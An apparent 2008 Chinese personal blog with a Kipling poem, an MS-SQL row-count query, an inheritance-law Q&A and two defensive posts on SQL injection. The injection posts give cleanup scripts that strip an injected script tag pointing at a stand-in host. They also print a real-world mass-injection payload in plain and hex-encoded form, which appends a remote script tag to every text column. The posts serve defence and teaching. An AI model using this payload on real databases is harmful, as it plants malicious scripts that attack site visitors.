Bookmark This:

HemiDemi MyShare Baidu Google Bookmarks Yahoo! My Web UDN FunP 推推王 Facebook Twitter Plurk this!

2008/12/26

詩詞分享 ~~ IF

從小我就不喜歡詩, 不管是古詩還是新詩, 中文詩還是外文詩。原因很簡單, 因為我不喜歡沒有辦法直接就看懂的文章。當然, 可能是我的程度太差了; 也可能是我的感受力不夠。

不過前些日子看電影吧, 看到了一首詩我很喜歡, 詩的名字是 "IF"。作者 Rudyard Kipling。
淺顯、易懂又很美, 就決定寫下來。尤其是第二段中提到的:
If you can dream--and not make dreams your master,
If you can think--and not make thoughts your aim;
If you can meet with Triumph and Disaster
And treat those two impostors just the same;...

人生中最大的敵人, 其實就是自己。我們必須不斷的挑戰自己, 追求更高的自我。接受自我、面對自我。也許每個人對於成功的定對不同, 但是都是要快樂的生活喲。


下面是詩的全文:

IF

If you can keep your head when all about you
Are losing theirs and blaming it on you,
If you can trust yourself when all men doubt you
But make allowance for their doubting too,
If you can wait and not be tired by waiting,
Or being lied about, don't deal in lies,
Or being hated, don't give way to hating,
And yet don't look too good, nor talk too wise:
If you can dream--and not make dreams your master,
If you can think--and not make thoughts your aim;
If you can meet with Triumph and Disaster
And treat those two impostors just the same;
If you can bear to hear the truth you've spoken
Twisted by knaves to make a trap for fools,
Or watch the things you gave your life to, broken,
And stoop and build 'em up with worn-out tools:

If you can make one heap of all your winnings
And risk it all on one turn of pitch-and-toss,
And lose, and start again at your beginnings
And never breath a word about your loss;
If you can force your heart and nerve and sinew
To serve your turn long after they are gone,
And so hold on when there is nothing in you
Except the Will which says to them: "Hold on!"

If you can talk with crowds and keep your virtue,
Or walk with kings--nor lose the common touch,
If neither foes nor loving friends can hurt you;
If all men count with you, but none too much,
If you can fill the unforgiving minute
With sixty seconds' worth of distance run,
Yours is the Earth and everything that's in it,
And--which is more--you'll be a Man, my son!


--Rudyard Kipling

2008/12/19

查詢資料表中的資料筆數

今天幫客戶從資料庫匯出每一個資料表的資料筆數, 資料庫是 Oracle, 匯出清單非常簡單, 在資料庫上面按右鍵匯出就可以了。不過在 MS-SQL 上找了一下, 可是沒有辦法按右鍵就完成。Google 了一下, 發現其實非常的簡單, 只要在資料庫下下列的查詢, 就可以匯出想出資料了:
SELECT
[TableName] = so.name,
[RowCount] = MAX(si.rows)
FROM
sysobjects so,
sysindexes si
WHERE
so.xtype = 'U'
AND
si.id = OBJECT_ID(so.name)
GROUP BY
so.name
ORDER BY
[RowCount] desc

進一步的參考資料, 可以參考 http://msdn.microsoft.com/zh-tw/library/ms177596.aspx

2008/12/12

誰可以繼承?

雖然我不是律師, 也不是讀法律, 不過日前去參加一個國家考試, 考民法。到是把遺產這部分好好的弄懂不少。大家當然可以自己去看民法法條啦, 不過我的經驗是, 每一條都看的懂, 但是全部加在一起的影響就沒有辦法都想到。套到實際的例子也就往往答錯了。就這樣錯中學...學中錯, 總算可以了解整個民法在繼承大部分的內容。

網站當然有很多律師寫的文章, 不過他們太專業了, 或是不會為了考試出題目考我們, 所以很多例子要到考試的時候, 就被考倒了...所以這篇主要的目的就是分享給對法條已經小有了解, 卻很容易會忽略的重點。

先考考大家幾個題目
1. 甲男、乙女結婚關係中, 乙女偷人跑出去跟丙男生了丁子。請問甲男死了, 丁有沒有繼承權?

2. A 男、B 女結婚, 生有一女 C, A 男寫下遺囑要將所有的遺產都交給外面的女人 D, A 男死亡, 遺囑怎麼分?

我就不引用一堆法條來說明了。只說重點解答。
在整個民法中, 為什麼繼承會這麼重要, 原因在於他跟親子關係、夫妻、財產制、遺囑等都有關聯。所以在實務上, 不是律師或學法律的人, 往往會弄不清楚為什麼是這樣。

1. 甲男、乙女結婚關係中, 乙女偷人跑出去跟丙男生了丁子。請問甲男死了, 丁有沒有繼承權? 答案是有。
法律中有規定, 只要是在婚姻關係存續期間, 生下來的小孩就是婚生子女, 所以在法律上是認定這小孩是甲男、乙女的小孩。除非, 甲男丁子二個去做親子認定哦。
我是覺得有點不合理啦, 如果是甲男的私生子甲男的遺產分, 就感覺合理一點。不過法律就是這麼定的, 肯定是有理由的啦。

2. 這個在法律上也是有規範的啦, 就是有遺囑就聽遺囑, 但是不能違反特留分的規定。也就是說, 法律上規定如果是配偶、直系卑親屬, 是不可能低於其應繼分的二分之一。(應繼分及特留分, 在民法中有, 我就不條列了)。所以這個案例, 如果沒有遺囑時, 是:
B 女 50%
C 女 50%。
但是有遺囑, 所以會變成:
B 女 25%
C 女 25%
D 女 50%

簡單說明一下, 如果真有不了的地方再提出來吧。我會的就說, 不會的我不會亂說。不過, 說實在繼承的狀況通常不是那麼簡單, 就是因為變數很多, 才會有那麼多的官司好打。所以上面例子都是很單純的情況啦。如果你有家財萬貫, 就一定要好好的了解自己的權利及義務喲。

法律, 其實只保障懂法的人~~別讓自己的權益睡著了...

2008/12/5

SQL Injection 植入批次清除法

首先, 可以先行用下面這段找出有可能的植入碼


Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0)
Begin Exec('select top 3 ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<Script%''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor
Deallocate Table_Cursor

上面這段會將文字欄位中有 <script 的抓出來。

然後把那段要清楚的 code 複製下來, 再利用下面這段


Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0)
Begin Exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''<script Src=http://www.hacker.com/hack.js></Script>'','''')') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor
Deallocate Table_Cursor

這段的工作是將植入的碼清空。

這樣的做法效率會比一個一個表去點開來清來的快點。不過它是把所有文字欄位都拿出來清一次, 所以如果資料量大, 就會跑比較久, 甚至 Timeout。有需要的人可以再進一步調整讓效率更好一些。

2008/12/3

不可不防的 SQL Injection

SQL Injection 實在不算是什麼新鮮的攻擊模式, 不過, 每天到是都有大小不一的災情發生。昨天請了一天假, 公司就發生了一件 SQL Injection 的攻擊。到了隔天上班知道, 有一點點嚇一跳。

記得我剛開始寫網頁程式的時候, 那時對於安全防護沒有什麼概念, 寫程式只關心跑不跑的出來。不過待的公司夠小, 也沒有被駭客攻擊的經驗。後來慢慢接觸多了, 案子的規模也開始大了。就開始會關心安全性的議題。

去年剛到新公司時, 也因為一時沒有注意到的程式漏洞, 造成資料庫中的資料非竄改。那可是真的非常窘, 所以這次一發現發生了攻擊, 就深怕又是自己不小心造成的。還好側面了解應該不是我。而是沒有用的老舊的程式。

要怎麼防範 SQL Injection 的攻擊, 網路上的資料多如牛毛, 這也就不在錦上添花了。不過還是分享一下這幾次被攻擊的心得, 就是絕對不要信任任何取得的資料。

一般我們在防 SQL Injection 攻擊, 大多不會忘記要針對 request 來的資料做驗證。這也是最簡單, 最常見的攻擊方式。在輸入資料時, 帶入惡意的 SQL 指令。不過, 那 cookie 及 session 呢? cookie 及 session 都是可以修改的, 如果沒有針對 cookie, session, request 驗證資料, 就只有等著被駭的一天了。

附帶一提的是, 現在很流行將指令轉成 Hex 的方式來進行攻擊。原來的程式碼可能是:
Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor
Deallocate Table_Cursor

轉成 Hex 後就變成一段數字:
0x4400650063006C0061007200650020004000540020005600610072006300680061007200
280032003500350029002C0040004300200056006100720063006800610072002800320035
003500290020004400650063006C0061007200650020005400610062006C0065005F00430
07500720073006F007200200043007500720073006F007200200046006F007200200053006
5006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D00
65002000460072006F006D0020005300790073006F0062006A00650063007400730020004
1002C0053007900730063006F006C0075006D006E0073002000420020005700680065007
2006500200041002E00490064003D0042002E0049006400200041006E006400200041002E
00580074007900700065003D00270075002700200041006E0064002000280042002E00580
074007900700065003D003900390020004F007200200042002E00580074007900700065003
D003300350020004F007200200042002E00580074007900700065003D0032003300310020
004F007200200042002E00580074007900700065003D00310036003700290020004F00700
065006E0020005400610062006C0065005F0043007500720073006F00720020004! 600650074006300680020004E006500780074002000460072006F006D0020002000540061
0062006C0065005F0043007500720073006F007200200049006E0074006F002000400054
002C004000430020005700680069006C006500280040004000460065007400630068005F0
05300740061007400750073003D0030002900200042006500670069006E002000450078006
50063002800270075007000640061007400650020005B0027002B00400054002B0027005D
00200053006500740020005B0027002B00400043002B0027005D003D00520074007200690
06D00280043006F006E0076006500720074002800560061007200630068006100720028003
80030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027
003C0053006300720069007000740020005300720063003D0068007400740070003A002F00
2F0063002E006E00750025003600330025003600430065006100720033002E0063006F006D
002F006300730073002F0063002E006A0073003E003C002F0053006300720069007000740
03E0027002700270029004600650074006300680020004E006500780074002000460072006
F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E
0074006F002000400054002C00400043002! 00045006E006400200043006C006F007300650020005400610062006C0065005F0043007
500720073006F00720020004400650061006C006C006F006300610074006500200054006
10062006C0065005F0043007500720073006F007200

不過, 不管是不是轉成 Hex, 只要有驗證就不會有安全上的疑慮。

總之, 就是寫程式要養成好習慣啦!!! 自我提醒中...